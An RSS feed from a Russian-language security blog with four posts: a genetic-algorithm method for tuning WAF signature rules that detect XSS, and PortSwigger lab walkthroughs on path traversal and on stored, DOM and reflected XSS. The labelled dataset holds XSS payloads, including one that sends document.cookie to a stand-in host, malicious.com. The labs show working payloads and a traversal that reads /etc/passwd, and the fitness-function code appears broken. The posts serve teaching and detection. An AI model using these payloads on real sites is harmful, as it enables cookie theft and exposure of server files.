<?xml version="1.0" encoding="utf-8" ?><rss version="2.0" xmlns:tt="http://teletype.in/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/"><channel><title>@mountainalmond</title><generator>teletype.in</generator><description><![CDATA[@mountainalmond]]></description><link>https://teletype.in/@mountainalmond?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=mountainalmond</link><atom:link rel="self" type="application/rss+xml" href="https://teletype.in/rss/mountainalmond?offset=0"></atom:link><atom:link rel="next" type="application/rss+xml" href="https://teletype.in/rss/mountainalmond?offset=10"></atom:link><atom:link rel="search" type="application/opensearchdescription+xml" title="Teletype" href="https://teletype.in/opensearch.xml"></atom:link><pubDate>Fri, 23 Oct 2026 05:43:50 GMT</pubDate><lastBuildDate>Fri, 23 Oct 2026 05:43:50 GMT</lastBuildDate><item><guid isPermaLink="true">https://teletype.in/@mountainalmond/GeneticXSS</guid><link>https://teletype.in/@mountainalmond/GeneticXSS?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=mountainalmond</link><comments>https://teletype.in/@mountainalmond/GeneticXSS?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=mountainalmond#comments</comments><dc:creator>mountainalmond</dc:creator><title>Улучшение сигнатурных правил для WEB Application Firewall с помощью генетических алгоритмов</title><pubDate>Sun, 09 Feb 2025 20:48:15 GMT</pubDate><media:content medium="image" url="https://img2.teletype.in/files/18/f5/18f58fa8-91ae-47dd-a99a-9c5a425b674f.png"></media:content><category>Кибербезопасность</category><description><![CDATA[<img src="https://img3.teletype.in/files/a7/0a/a70a96c3-8153-4956-9395-9107b606bfe8.jpeg"></img>]]></description><content:encoded><![CDATA[
  <p id="Y9nS">Начнем с официального определения генетических алгоритмов (далее ГА).</p>
  <p id="ZuP0">ГА - эвристический алгоритм поиска, используемый для решения задач оптимизации и моделирования путём случайного подбора, комбинирования и вариации искомых параметров с использованием механизмов, аналогичных естественному отбору в природе.</p>
  <p id="hzLQ">Теперь объясним более простыми словами, что представляет собой генетический алгоритм и из чего он состоит, а далее применим ГА для задачи улучшения сигнатурных правил для выявления XSS-атак.</p>
  <p id="8zPV">Итак, ГА в классическом понимании состоит из следующих компонентов:</p>
  <ul id="KRXZ">
    <li id="KXkI">Fitness function - функция приспособленности (определяет насколько &quot;особь&quot; соответствует критериям, поставленным перед ГА)</li>
    <li id="cw3i">Crossover function - функция &quot;перемешивания&quot; генов от &quot;родителей&quot; для создания новых &quot;особей&quot;</li>
    <li id="0SCI">Mutate function - функция, вносящая некоторый хаос после &quot;перемешивания&quot; генов для большей вариативности &quot;популяции&quot;</li>
    <li id="WnSA">Select parent function - функция, определяющая каким образом будут отобраны &quot;родители&quot; для формирования новой &quot;популяции&quot;</li>
  </ul>
  <p id="Xeki"><strong>При работе с ГА необходимо заранее подготовить набор тестовых данных (для проверки функции приспособленности) и алгоритм для формирования изначальной популяции</strong>. Стоит отдельно упомянуть, что под термином &quot;особь&quot; - может скрываться любой объект исследования для которого стоит задача улучшения его характеристик. Также необходимо учитывать, сколько именно &quot;популяций&quot; должно пройти для ГА. Ограничивающим значением может быть определенная граница для функции приспособленности. Для мутаций важно учитывать вероятность их появления (чем выше вероятность возникновения мутации, тем агрессивнее развивается популяция). Однако важно учитывать, что низкая вероятность мутаций снизит разнообразие популяций и быстрее приведет к состоянию конвергенции (усредненных показателей для разных особей в популяции), высокая же вероятность мутации может привести к вырождению популяции. <strong>Этот параметр необходимо настраивать эмпирически и очень осторожно!:)</strong></p>
  <p id="aXUJ">Перейдем к конкретной практической задаче для применения ГА, а именно: улучшение эмпирических правил для выявления XSS-атак.</p>
  <p id="tKlB">Приведем ниже изначальный датасет, где отмечены нормальные запросы и запросы с XSS:</p>
  <pre id="aOtc" data-lang="python">dataset = [</pre>
  <pre id="PyIo"># Нормальные запросы</pre>
  <pre id="QNBg">{&quot;request&quot;: &quot;username=admin&amp;password=12345&quot;, &quot;is_xss_attack&quot;: False},</pre>
  <pre id="cnYj">{&quot;request&quot;: &quot;search=hello world&quot;, &quot;is_xss_attack&quot;: False},</pre>
  <pre id="G7L0">{&quot;request&quot;: &quot;comment=This is a great product!&quot;, &quot;is_xss_attack&quot;: False},</pre>
  <pre id="P3zW">{&quot;request&quot;: &quot;email=john.doe@example.com&quot;, &quot;is_xss_attack&quot;: False},</pre>
  <pre id="3qml">{&quot;request&quot;: &quot;page=about&quot;, &quot;is_xss_attack&quot;: False},</pre>
  <pre id="JiKS">{&quot;request&quot;: &quot;filter=price_asc&quot;, &quot;is_xss_attack&quot;: False},</pre>
  <pre id="bA9N">{&quot;request&quot;: &quot;sort=descending&quot;, &quot;is_xss_attack&quot;: False},</pre>
  <pre id="lAVH">{&quot;request&quot;: &quot;action=login&amp;redirect=/dashboard&quot;, &quot;is_xss_attack&quot;: False},</pre>
  <pre id="r43m"># XSS-атаки (встраивание &lt;script&gt; тегов)</pre>
  <pre id="jjpP">{&quot;request&quot;: &quot;comment=&lt;script&gt;alert(&#x27;XSS&#x27;)&lt;/script&gt;&quot;, &quot;is_xss_attack&quot;: True},</pre>
  <pre id="eiB9">{&quot;request&quot;: &quot;username=&lt;script src=&#x27;http://malicious.com/xss.js&#x27;&gt;&lt;/script&gt;&quot;, &quot;is_xss_attack&quot;: True},</pre>
  <pre id="EH6M">{&quot;request&quot;: &quot;email=&lt;script&gt;document.location=&#x27;http://malicious.com/?cookie=&#x27;+document.cookie&lt;/script&gt;&quot;, &quot;is_xss_attack&quot;: True},</pre>
  <pre id="Jqqp"># XSS-атаки (использование событий)</pre>
  <pre id="zftN">{&quot;request&quot;: &quot;username=&lt;img src=x onerror=alert(&#x27;XSS&#x27;)&gt;&quot;, &quot;is_xss_attack&quot;: True},</pre>
  <pre id="Tvnd">{&quot;request&quot;: &quot;comment=&lt;div onclick=alert(&#x27;XSS&#x27;)&gt;Click me&lt;/div&gt;&quot;, &quot;is_xss_attack&quot;: True},</pre>
  <pre id="9SQN">{&quot;request&quot;: &quot;description=&lt;a href=# onload=alert(&#x27;XSS&#x27;)&gt;Link&lt;/a&gt;&quot;, &quot;is_xss_attack&quot;: True},</pre>
  <pre id="XZ3s"># XSS-атаки (URL-кодирование)</pre>
  <pre id="eJbQ">{&quot;request&quot;: &quot;comment=%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E&quot;, &quot;is_xss_attack&quot;: True}, # &lt;script&gt;alert(&#x27;XSS&#x27;)&lt;/script&gt;</pre>
  <pre id="WdFQ">{&quot;request&quot;: &quot;username=%3Cimg%20src%3Dx%20onerror%3Dalert%28%27XSS%27%29%3E&quot;, &quot;is_xss_attack&quot;: True}, # &lt;img src=x onerror=alert(&#x27;XSS&#x27;)&gt;</pre>
  <pre id="dg7U">{&quot;request&quot;: &quot;email=%3Ca%20href%3D%23%20onload%3Dalert%28%27XSS%27%29%3ELink%3C%2Fa%3E&quot;, &quot;is_xss_attack&quot;: True}, # &lt;a href=# onload=alert(&#x27;XSS&#x27;)&gt;Link&lt;/a&gt;</pre>
  <pre id="j6Ha"># XSS-атаки (HTML-комментарии для обхода фильтров)</pre>
  <pre id="Hi8b">{&quot;request&quot;: &quot;comment=&lt;script&gt;&lt;!--&lt;/script&gt;alert(&#x27;XSS&#x27;)&lt;!--&lt;/script&gt;&quot;, &quot;is_xss_attack&quot;: True},</pre>
  <pre id="sFKD">{&quot;request&quot;: &quot;username=&lt;script&gt;/*&lt;/script&gt;alert(&#x27;XSS&#x27;)&lt;script&gt;*/&lt;/script&gt;&quot;, &quot;is_xss_attack&quot;: True},</pre>
  <pre id="OFil"># XSS-атаки (использование Base64)</pre>
  <pre id="Lxqg">{&quot;request&quot;: &quot;description=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=&quot;, &quot;is_xss_attack&quot;: True}, # Base64: &lt;script&gt;alert(&#x27;XSS&#x27;)&lt;/script&gt;</pre>
  <pre id="GXOY">{&quot;request&quot;: &quot;content=data:image/svg+xml,&lt;svg/onload=alert(&#x27;XSS&#x27;)&gt;&quot;, &quot;is_xss_attack&quot;: True},</pre>
  <pre id="mshJ"># XSS-атаки (использование JavaScript в URL)</pre>
  <pre id="PKqr">{&quot;request&quot;: &quot;redirect=javascript:alert(&#x27;XSS&#x27;)&quot;, &quot;is_xss_attack&quot;: True},</pre>
  <pre id="vbe5">{&quot;request&quot;: &quot;link=javascript:void(0);alert(&#x27;XSS&#x27;)&quot;, &quot;is_xss_attack&quot;: True},</pre>
  <pre id="udyc"># Сложные случаи</pre>
  <pre id="6MT8">{&quot;request&quot;: &quot;input=&lt;iframe src=&#x27;javascript:alert(\&quot;XSS\&quot;)&#x27;&gt;&lt;/iframe&gt;&quot;, &quot;is_xss_attack&quot;: True},</pre>
  <pre id="0d2p">{&quot;request&quot;: &quot;message=&lt;svg onload=alert(&#x27;XSS&#x27;)&gt;&quot;, &quot;is_xss_attack&quot;: True},</pre>
  <pre id="EfzR">{&quot;request&quot;: &quot;payload=&lt;math&gt;&lt;mi&gt;&lt;script&gt;alert(&amp;apos;XSS&amp;apos;)&lt;/script&gt;&lt;/mi&gt;&lt;/math&gt;&quot;, &quot;is_xss_attack&quot;: True},</pre>
  <pre id="QtkT" data-lang="python">]</pre>
  <p id="K3xU">Далее опишем функцию для формирования популяции:</p>
  <pre id="unhx" data-lang="python">def initialize_population(size):</pre>
  <pre id="c0uK">population = []</pre>
  <pre id="840B">for _ in range(size):</pre>
  <pre id="BGNb">individual = {</pre>
  <pre id="EZtD">&quot;regex&quot;: random.choice([</pre>
  <pre id="MikF">r&quot;.*&lt;script.*&gt;&quot;, # Поиск тегов &lt;script&gt;</pre>
  <pre id="VXxZ">r&quot;.*on\w+\s*=&quot;, # Поиск событий (onclick, onload, ...)</pre>
  <pre id="Kx5f">r&quot;.*javascript\s*:&quot;, # Поиск JavaScript в URL или атрибутах</pre>
  <pre id="kYp7">r&quot;.*base64[^a-zA-Z0-9+/=]&quot;, # Поиск Base64-кодированных строк</pre>
  <pre id="WzaW">r&quot;.*&lt;\s*[a-zA-Z]+\s+[^&gt;]*&gt;&quot;, # Поиск HTML-тегов с атрибутами</pre>
  <pre id="p96M" data-lang="python">]),</pre>
  <pre id="TQn5">&quot;min_length&quot;: random.randint(5, 100), # Минимальная длина запроса</pre>
  <pre id="zYeK">&quot;contains_symbols&quot;: random.sample(</pre>
  <pre id="e1to">[&quot;&lt;&quot;, &quot;&gt;&quot;, &quot;&#x27;&quot;, &#x27;&quot;&#x27;, &quot;=&quot;, &quot;(&quot;, &quot;)&quot;, &quot;{&quot;, &quot;}&quot;, &quot;;&quot;, &quot;:&quot;],</pre>
  <pre id="F9mP">random.randint(1, 5) # Случайное количество символов</pre>
  <pre id="QrI8">)</pre>
  <pre id="IjQT">}</pre>
  <pre id="OKaL">population.append(individual)</pre>
  <pre id="IfKK">return population</pre>
  <p id="bbe9">Функция формирования популяции работает следующим ообразом:</p>
  <ul id="EFSs">
    <li id="5bFI">случайным образом выбирается один из базовых паттернов регулярных выражений</li>
    <li id="ittt">Случайным образом выбирается минимальная длина запроса</li>
    <li id="fD2k">Случайным образом выбирается 5 символов из массива символов &quot;маркеров XSS&quot;</li>
  </ul>
  <p id="CWt9">Далее опишем функцию для выбора родителей:</p>
  <pre id="Nl5c" data-lang="python">def select_parents(population, scores, tournament_size=3):</pre>
  <pre id="6An5">parents = []</pre>
  <pre id="6AQc">population_size = len(population)</pre>
  <pre id="eP0z">for _ in range(population_size):</pre>
  <pre id="GCpO">candidates = random.sample(range(population_size), tournament_size)</pre>
  <pre id="O69j">winner = max(candidates, key=lambda idx: scores[idx])</pre>
  <pre id="5Pvw">parents.append(population[winner])</pre>
  <pre id="8w51">return parents</pre>
  <p id="8mnK">Родительские особи выбираются &quot;турнирным&quot; способом (выбирается лучший из 3-ох), данный алгоритм прост в реализации и помогает избежать преждевременной &quot;усредненности&quot; получающихся &quot;особей&quot;</p>
  <p id="kjWm">Теперь опишем функцию мутации:</p>
  <pre id="A06Z" data-lang="python">def mutate(individual):</pre>
  <pre id="PGWG"># Мутация регулярного выражения (10% вероятность)</pre>
  <pre id="16rK">if random.random() &lt; 0.1:</pre>
  <pre id="aQ60">individual[&quot;regex&quot;] = random.choice([</pre>
  <pre id="2s3F">r&quot;.*&lt;script.*&gt;&quot;, # Поиск тегов &lt;script&gt;</pre>
  <pre id="UIZQ">r&quot;.*on\w+\s*=&quot;, # Поиск событий (onclick, onload, ...)</pre>
  <pre id="klfH">r&quot;.*javascript\s*:&quot;, # Поиск JavaScript в URL или атрибутах</pre>
  <pre id="rpoo">r&quot;.*base64[^a-zA-Z0-9+/=]&quot;, # Поиск Base64-кодированных строк</pre>
  <pre id="UR2k">r&quot;.*&lt;\s*[a-zA-Z]+\s+[^&gt;]*&gt;&quot; # Поиск HTML-тегов с атрибутами</pre>
  <pre id="xDFZ">])</pre>
  <pre id="hyKb">if random.random() &lt; 0.1:</pre>
  <pre id="36gd">individual[&quot;min_length&quot;] = random.randint(5, 100) # Диапазон длин от 5 до 100</pre>
  <pre id="Qnmz">if random.random() &lt; 0.1:</pre>
  <pre id="IL0p">individual[&quot;contains_symbols&quot;] = random.sample(</pre>
  <pre id="WmDl">[&quot;&lt;&quot;, &quot;&gt;&quot;, &quot;&#x27;&quot;, &#x27;&quot;&#x27;, &quot;=&quot;, &quot;(&quot;, &quot;)&quot;, &quot;{&quot;, &quot;}&quot;, &quot;;&quot;, &quot;:&quot;],</pre>
  <pre id="4n03">random.randint(1, 5) # Случайное количество символов от 1 до 5</pre>
  <pre id="n0p3">)</pre>
  <p id="WNn9">Мутация в данном случае определяет, что с вероятностью (10% в конкретном случае) параметры сигнатурного правила - &quot;особи&quot; могут случайным образом измениться. Мутации поддерживают вариативность &quot;популяции&quot; - набора тестируемых сигнатурных правил.</p>
  <p id="Ywlp">В конечном итоге опишем функцию приспособленности:</p>
  <pre id="QXN9" data-lang="python">def fitness(individual, dataset):</pre>
  <pre id="L7Qs">true_positives = 0</pre>
  <pre id="FEBv">false_positives = 0</pre>
  <pre id="hRfY">if true_positives &gt; 0:</pre>
  <pre id="1HLL">for request in dataset:</pre>
  <pre id="J4xJ">if matches_rule(individual, request):</pre>
  <pre id="lLRa">if request[&#x27;is_xss_attack&#x27;]:</pre>
  <pre id="jV78">true_positives += 1</pre>
  <pre id="QdKi">else:</pre>
  <pre id="haQg">false_positives += 1</pre>
  <pre id="pL7m">precision = true_positives / (true_positives + false_positives + 1e-6)</pre>
  <pre id="Jnyy">recall = true_positives / sum(r[&#x27;is_xss_attack&#x27;] for r in dataset)</pre>
  <pre id="7O3u">return precision + recall - false_positives * 0.5</pre>
  <p id="mCYg"> Функция приспособленности считает, сколько было правдивых положительных и ложных срабатываний.</p>
  <p id="mp8K">Точность (precision) - соотношение положительных срабатываний к общему числу срабатываний.</p>
  <p id="Zyr0">Полнота (recall) - соотношение, сколько реальных атак обнаружило правило</p>
  <p id="5CI3">Также ложные срабатывания накладывают штраф к функции приспособленности (- false_positives * 0.5)</p>
  <h2 id="sniF">Вывод:</h2>
  <p id="IyMZ">Для 300 поколений из 350 особей на тестовом наборе данных оказалось лучшим следующее правило: Best rule: {&#x27;regex&#x27;: &#x27;.*&lt;\\s*[a-zA-Z]+\\s+[^&gt;]*&gt;&#x27;, &#x27;min_length&#x27;: 30, &#x27;contains_symbols&#x27;: [&quot;&#x27;&quot;, &#x27;&lt;&#x27;]}</p>
  <p id="gAV2">Однако при работе ГА выяснились следующие проблемы:</p>
  <ul id="pIh8">
    <li id="tspe">Слишком искусственный и маленький датасет (слишком мало ложных срабатываний и стабильно высокое значение функции приспособленности)</li>
    <li id="IpDT">Необходимо создавать более правдоподобное и разнообразное поколение</li>
    <li id="zBSf">Мутации необходимо применять более гибко</li>
  </ul>
  <p id="iSED">Хочется сказать, что при решении всех этих недостатков и получении production-датасета с помощью ГА действительно можно улучшать сигнатурные правила. Также периодически, при обновлении данных можно формировать новые правила, которые будут точнее обнаруживать XSS и иметь низкую вероятность ложных срабатываний. </p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@mountainalmond/PathTraversal</guid><link>https://teletype.in/@mountainalmond/PathTraversal?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=mountainalmond</link><comments>https://teletype.in/@mountainalmond/PathTraversal?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=mountainalmond#comments</comments><dc:creator>mountainalmond</dc:creator><title>PortSwigger Web Academy - Path Traversal Labs</title><pubDate>Tue, 10 Dec 2024 19:07:49 GMT</pubDate><media:content medium="image" url="https://img4.teletype.in/files/77/08/7708a658-2cd8-4bbd-8cda-8d577616879b.png"></media:content><category>Кибербезопасность</category><description><![CDATA[<img src="https://img1.teletype.in/files/01/02/0102f6a2-e72e-441f-ba55-8a1185a8fae8.jpeg"></img>Сегодня разберем еще одну несложную для понимания веб-уязвимость, а именно Path Traversal.]]></description><content:encoded><![CDATA[
  <p id="nueM">Сегодня разберем еще одну несложную для понимания веб-уязвимость, а именно <strong>Path Traversal</strong>.</p>
  <p id="KIue">Данная уязвимость опасна тем, что в случае отсутствия санитайзинга пользовательского ввода, веб-сервер, к примеру, вместо безобидной картинки отдаст злоумышленнику файлы из чувствительных директорий, что может привести к компрометации всего сервера! Чтобы было понятнее давайте разбираться на конкретных примеров, начнем с самого простого.</p>
  <h1 id="mGV2"><a href="https://portswigger.net/web-security/file-path-traversal/lab-simple" target="_blank">Lab: File path traversal, simple case</a></h1>
  <p id="W3L6">В описании к данной лабе дана подсказка, что уязвимость содержится в логике отображения картинки товара. Перед нами стоит задача вызвать уязвимость обхода каталога и достать с сервера чувствительный файла /etc/passwd (<em>в Linux данный файл хранит информацию об учетных записях и ролях</em>). Приступаем!</p>
  <figure id="u4LJ" class="m_original" data-caption-align="center">
    <img src="https://img4.teletype.in/files/7b/25/7b253321-a4a2-4f80-bcd7-fe075cf10c53.png" width="597" />
    <figcaption>Так выглядят карточки продуктов с подопытного сайта</figcaption>
  </figure>
  <p id="7bKJ">Давайте заглянем внутрь карточки и посмотрим в консоли, как выглядят запросы для получения картинок с карточек, а еще лучше расчехлить burp.</p>
  <figure id="HpB6" class="m_original" data-caption-align="center">
    <img src="https://img3.teletype.in/files/ae/f7/aef70e33-c7b9-49fb-9819-797ae32beae6.png" width="1008" />
    <figcaption>Так выглядит картинка при запросе по URL</figcaption>
  </figure>
  <p id="d19k">Обратим внимание, что URL в запросах формируются следующим образом:</p>
  <pre id="OaG6">.../image?filename=48.jpg</pre>
  <p id="Yo8y">Сервер при формировании такого URL отдает нам картинку. А может он нам и /etc/passwd отдаст?? Попробуем...</p>
  <figure id="jhnS" class="m_original" data-caption-align="center">
    <img src="https://img4.teletype.in/files/3b/df/3bdfba25-ff9d-4f9f-be23-56731dfb8712.png" width="1016" />
    <figcaption>Почему-то не вышло...</figcaption>
  </figure>
  <p id="aYHa">Почему же мы не смогли получить доступ к файлу?? Все просто, мы не в той директории, попытаемся выбраться в корневую директорию и найти там файл по пути /etc/passwd. Как? Разберемся ниже...</p>
  <p id="cplt">Пути отображаются через обычный слэш, так что сервер линуксовый. Выбраться из текущей директории можно с помощью двух точек (..). Как в итоге должно выглядеть продолжение нашего URL - <strong>../image?filename=</strong> ?? Будем добавлять <strong>../</strong> - пока не <s>получим доступ к файлу</s> выберемся в корневую директорию. </p>
  <figure id="FUZC" class="m_original" data-caption-align="center">
    <img src="https://img2.teletype.in/files/57/c6/57c6ef07-0ee0-483d-b44a-6cca9a94881c.png" width="818" />
    <figcaption>Через последовательность выходов из текущей директории мы смогли попасть в корневую и извлечь файл /etc/passwd</figcaption>
  </figure>
  <p id="ItvY">На этом задача, поставленная в лабе, выполнена! Подведем итог.</p>
  <h2 id="D7Eh">Итог</h2>
  <p id="KYmq">На примере данной лабы продемонстрирована уязвимость Path Traversal. Из-за недостаточной обработки и санитайзинга пользовательского ввода(отправляемых запросов) сервер вместе с безобидными картинками для карточек товаров при нехитрых манипуляциях с радостью отдает нам чувствительные системные файлы!</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@mountainalmond/XSS2</guid><link>https://teletype.in/@mountainalmond/XSS2?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=mountainalmond</link><comments>https://teletype.in/@mountainalmond/XSS2?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=mountainalmond#comments</comments><dc:creator>mountainalmond</dc:creator><title>PortSwigger Web Academy - XSS Labs</title><pubDate>Wed, 04 Dec 2024 19:20:15 GMT</pubDate><media:content medium="image" url="https://img3.teletype.in/files/a3/87/a3876339-bc3b-48dc-a936-f34fc458bc89.png"></media:content><category>Кибербезопасность</category><description><![CDATA[<img src="https://img2.teletype.in/files/16/03/16032080-fb9e-4afb-a9e6-1a9ff428b32b.png"></img>Сегодня разберем еще парочку простеньких XSS.]]></description><content:encoded><![CDATA[
  <p id="CwIO">Сегодня разберем еще парочку простеньких XSS.</p>
  <h1 id="KPsF"><a href="https://portswigger.net/web-security/cross-site-scripting/stored/lab-html-context-nothing-encoded" target="_blank">1.) Lab: Stored XSS into HTML context with nothing encoded</a></h1>
  <p id="cif3">Название и краткое описание данной работы наталкивают на мысль, что XSS должна быть хранимой (т.е. payload должен быть загружен на серверную часть приложения). Посмотрим, какой функционал может быть язвим к Stored XSS</p>
  <figure id="YsrA" class="m_original" data-caption-align="center">
    <img src="https://img2.teletype.in/files/16/03/16032080-fb9e-4afb-a9e6-1a9ff428b32b.png" width="748" />
    <figcaption>Хмм... Посмотрим, какой функционал будет досутпен при просмотре поста</figcaption>
  </figure>
  <figure id="pBwL" class="m_original" data-caption-align="center">
    <img src="https://img1.teletype.in/files/c0/3c/c03c5a59-17db-402c-bea5-34412e80b75e.png" width="728" />
    <figcaption>Отлично! Мы можем оставлять комментарии к постам в блоге, это то что нам нужно</figcaption>
  </figure>
  <p id="RBf8">Попробуем вписать в поле самого комментария самый банальный payload:</p>
  <pre id="AZHd" data-lang="html">&lt;script&gt;alert(&#x27;Stored XSS detected!&#x27;)&lt;/script&gt;</pre>
  <p id="Ptmg">Оставшиеся поля заполним простой информацией и посмотрим на реакцию приложения.</p>
  <figure id="HRXg" class="m_original" data-caption-align="center">
    <img src="https://img4.teletype.in/files/38/87/38874e1c-78e0-412b-8cf9-537271821166.png" width="742" />
    <figcaption>Так выглядит наш комментарий перед отправкой</figcaption>
  </figure>
  <figure id="faxh" class="m_original" data-caption-align="center">
    <img src="https://img3.teletype.in/files/ab/ca/abca999d-a462-440c-abd0-b4cb53695fc7.png" width="465" />
    <figcaption>Вуаля, мы проэксплуатировали Stored-XSS, лаба выполнена!</figcaption>
  </figure>
  <h2 id="PSt6"></h2>
  <h1 id="LdWA"><a href="https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-document-write-sink" target="_blank">Lab: DOM XSS in <code>document.write</code> sink using source <code>location.search</code></a></h1>
  <p id="9R3v">Начнем с короткого теоретического ликбеза. Данный тип XSS выполняется на клиентской стороне приложения - не отражается и не хранится на сервере. При возникновении данной уязвимости приложение отображает вредоносный код как часть DOM.</p>
  <p id="bIuW">DOM (document objetc model) - объектная модель, которую браузер создает на основе полученного HTML. Важно отметить, что в DOM-XSS не изменяется исходный HTML, изменяется именно DOM. Идем решать лабу!</p>
  <p id="INl0">В описании к лабе нас просять вызвать функцию alert и сильно намекают на document.write и location.search. Посмотрим, какой функционал сайта мы будем истязать для получения DOM-XSS...</p>
  <figure id="Sloq" class="m_original" data-caption-align="center">
    <img src="https://img3.teletype.in/files/60/46/604663e8-6317-4eb6-841e-8e3efd72ad7a.png" width="766" />
    <figcaption>Сразу бросается в глаза поиское поле</figcaption>
  </figure>
  <p id="D427">Попробуем выполнить поисковый запрос, а после этого посмотреть код страницы.</p>
  <figure id="I0d7" class="m_original" data-caption-align="center">
    <img src="https://img4.teletype.in/files/73/26/732664b7-1250-4406-8f2a-9d87809487a9.png" width="945" />
    <figcaption>Вот интересующий нас участок кода</figcaption>
  </figure>
  <p id="g8L7">Наш поисковый запрос выполняется с помощью document.write. Непосредственно наш запрос располагается после searchTerms. Запихнуть банальный payload прямо в поисковое поле уже не выйдет, а жаль... Однако заметим, что мы также можем изменять URL, т.к. в нем отображается наш поисковый запрос. Что же, попробуем составить правильный payload и вписать его в URL.</p>
  <pre id="gG64" data-lang="javascript">&quot;&gt;&lt;svg onload=alert(1)&gt;</pre>
  <p id="OPOy">Почему же payload именно такой??? Вообще составление правильного payload для XSS это уже почти гарантированный успех. Итак, объяснение!</p>
  <p id="PDQ3">&quot;&gt; - закрывает параметр и тег input, а остальное тело payload является базовым payload для svg. Почему svg? Данный payload мы можем использовать внутри тега img. Что же попробуем выполнить данный payload.</p>
  <figure id="FXRK" class="m_original" data-caption-align="center">
    <img src="https://img1.teletype.in/files/09/68/0968f482-c5d9-49fb-89dd-c207b07930ee.png" width="459" />
    <figcaption>Успешное выполнение DOM XSS!</figcaption>
  </figure>
  <h2 id="b7vM">Вывод</h2>
  <p id="dBkn">Что? Куда? Ответы на эти вопросы полностью решают задачу успешной эксплуатации XSS. Составление правильного payload - сравни искусству! Упражняйтесь и ищите информацию в интернете:)</p>
  <p id="ejVJ">P.s. Хранимый XSS - самый опасный вид XSS, т.к. злоумышленнику достаточно отправить payload на сервер веб-приложения один раз, а жертва будет уязвима всякий раз, когда будет выполнять действия достаточные для выполнения полезной нагрузки (как в первом примере этой статьи)</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@mountainalmond/Intro-XSS</guid><link>https://teletype.in/@mountainalmond/Intro-XSS?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=mountainalmond</link><comments>https://teletype.in/@mountainalmond/Intro-XSS?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=mountainalmond#comments</comments><dc:creator>mountainalmond</dc:creator><title>PortSwigger Web Academy - reflected XSS</title><pubDate>Sun, 24 Nov 2024 18:28:36 GMT</pubDate><category>Кибербезопасность</category><description><![CDATA[<img src="https://img4.teletype.in/files/b0/52/b052bc8a-9cbf-49b5-8728-cd54961ffbd2.png"></img>Сегодня будем разбирать Reflected(отраженный)-XSS. Отраженные XSS-атаки имеют наименьший impact среди всех векторов XSS из-за сложности организации и доставки до жертвы. Злоумышленник должен воспользоваться этой уязвимостью, отправив жертве ссылку, содержащую вредоносный скрипт. Когда жертва кликает на ссылку, скрипт выполняется в контексте браузера жертвы, что дает злоумышленнику возможность манипулировать данными пользователя или получить доступ к конфиденциальной информации. Отраженные XSS-атаки возможны в случае когда приложение должным образом не санитизирует пользовательский ввод и сразу отображает его. Более подробно будем разбираться на примерах лабораторных работ с PortSwigger Web Academy.]]></description><content:encoded><![CDATA[
  <h2 id="eU1c">Вводная часть</h2>
  <p id="R3Yc">Сегодня будем разбирать Reflected(отраженный)-XSS. Отраженные XSS-атаки имеют наименьший impact среди всех векторов XSS из-за сложности организации и доставки до жертвы. Злоумышленник должен воспользоваться этой уязвимостью, отправив жертве ссылку, содержащую вредоносный скрипт. Когда жертва кликает на ссылку, скрипт выполняется в контексте браузера жертвы, что дает злоумышленнику возможность манипулировать данными пользователя или получить доступ к конфиденциальной информации. Отраженные XSS-атаки возможны в случае когда приложение должным образом не санитизирует пользовательский ввод и сразу отображает его. Более подробно будем разбираться на примерах лабораторных работ с PortSwigger Web Academy.</p>
  <h2 id="iHLx">Lab: Reflected XSS into HTML context with nothing encoded</h2>
  <p id="JL5Y">В описании к данной работе(<a href="https://portswigger.net/web-security/cross-site-scripting/reflected/lab-html-context-nothing-encoded" target="_blank">жмак, чтобы перейти к лабе</a>) нам предлагают проверить на уязвиомсть к XSS поисковое поле, вызвав в нем функцию alert. Что же, база для разминки, приступим...</p>
  <figure id="UqYp" class="m_original" data-caption-align="center">
    <img src="https://img4.teletype.in/files/b0/52/b052bc8a-9cbf-49b5-8728-cd54961ffbd2.png" width="721" />
    <figcaption>Вот и подопытное поле, где мы будем искать XSS-ку</figcaption>
  </figure>
  <p id="6Gji">Попробуем запихнуть в поле поиска самый простой payload для XSS.</p>
  <pre id="yYrc" data-lang="html">&lt;script&gt;alert(&#x27;XSS&#x27;)&lt;/script&gt;</pre>
  <figure id="hMRv" class="m_original" data-caption-align="center">
    <img src="https://img2.teletype.in/files/54/7b/547b0c08-3fa1-416c-a3e9-9c7b0d2f6fd7.png" width="462" />
    <figcaption>Что и требовалось доказать... Поле поиска уязвимо к XSS</figcaption>
  </figure>
  <p id="NMbB">В данном примере payload абсолютно безвреден, однако, его успешное выполнение свидетельствует о том, что поле поиска уязвимо к XSS! </p>
  <figure id="gg7u" class="m_original" data-caption-align="center">
    <img src="https://img1.teletype.in/files/87/c0/87c070fb-e334-4b8d-b3b1-ff4899ecdd17.png" width="384" />
    <figcaption>На этом данная простенькая работа завершается</figcaption>
  </figure>
  <h1 id="7Y9c">Lab: Reflected XSS into attribute with angle brackets HTML-encoded</h1>
  <p id="LjOO">В данной работе мы не сможем использовать наш предыдущий payload, так как угловые скобки закодированы в HTML. Попробуем обойти это ограничение. Мы можем попытаться обойти данное ограничение. Обойдемся вообще без HTML. Попробуем использовать силу чистого JS. Есть событие onMouseOver, которое срабатывает при наведении на него курсора. Попробуем присвоить ему срабатывание alert. Наш payload будет выглядеть следующим образом:</p>
  <pre id="AUsC" data-lang="javascript">&quot;onMouseOver=&quot;alert(&#x27;XSS&#x27;)</pre>
  <figure id="rAbJ" class="m_original" data-caption-align="center">
